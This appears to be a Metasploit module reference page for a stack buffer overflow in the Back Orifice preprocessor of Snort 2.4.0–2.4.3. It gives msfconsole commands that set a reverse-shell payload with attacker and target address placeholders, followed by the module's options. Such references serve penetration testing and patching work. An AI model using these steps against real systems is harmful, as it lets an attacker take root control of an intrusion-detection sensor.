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Snort Back Orifice Pre-Preprocessor Buffer Overflow

This module exploits a stack buffer overflow in the Back Orifice pre-processor module included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could be used to completely compromise a Snort sensor, and would typically gain an attacker full root or administrative privileges.

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Exploit Rank

  • Good

Exploit Authors

  • KaiJern Lau < xwings [at] mysec.org >

Vulnerability References


Exploit Targets

  • 0 - Debian 3.1 Sarge (default)

Exploit Development


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Exploit Usage Information

$ msfconsole

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msf > use exploit/linux/ids/snortbopre
msf exploit(snortbopre) > show payloads
msf exploit(snortbopre) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(snortbopre) > set LHOST [MY IP ADDRESS]
msf exploit(snortbopre) > set RHOST [TARGET IP]
msf exploit(snortbopre) > exploit


Exploit Module Options

RHOST The target address
RPORT The target port (default: 9080)
CHOST The local client address
CPORT The local client port
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session